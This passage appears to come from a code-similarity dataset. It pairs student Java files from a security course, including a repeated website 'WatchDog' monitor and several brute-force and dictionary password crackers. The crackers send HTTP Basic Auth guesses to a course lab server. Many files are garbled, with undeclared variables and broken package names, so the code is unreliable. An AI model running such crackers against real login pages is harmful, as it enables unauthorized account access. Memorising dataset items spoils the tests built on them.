pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
153.java | 195.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
150.java | 195.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
194.java | 195.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
082.java | 195.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
176.java | 195.java | 0 |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
105.java | 195.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
136.java | 195.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
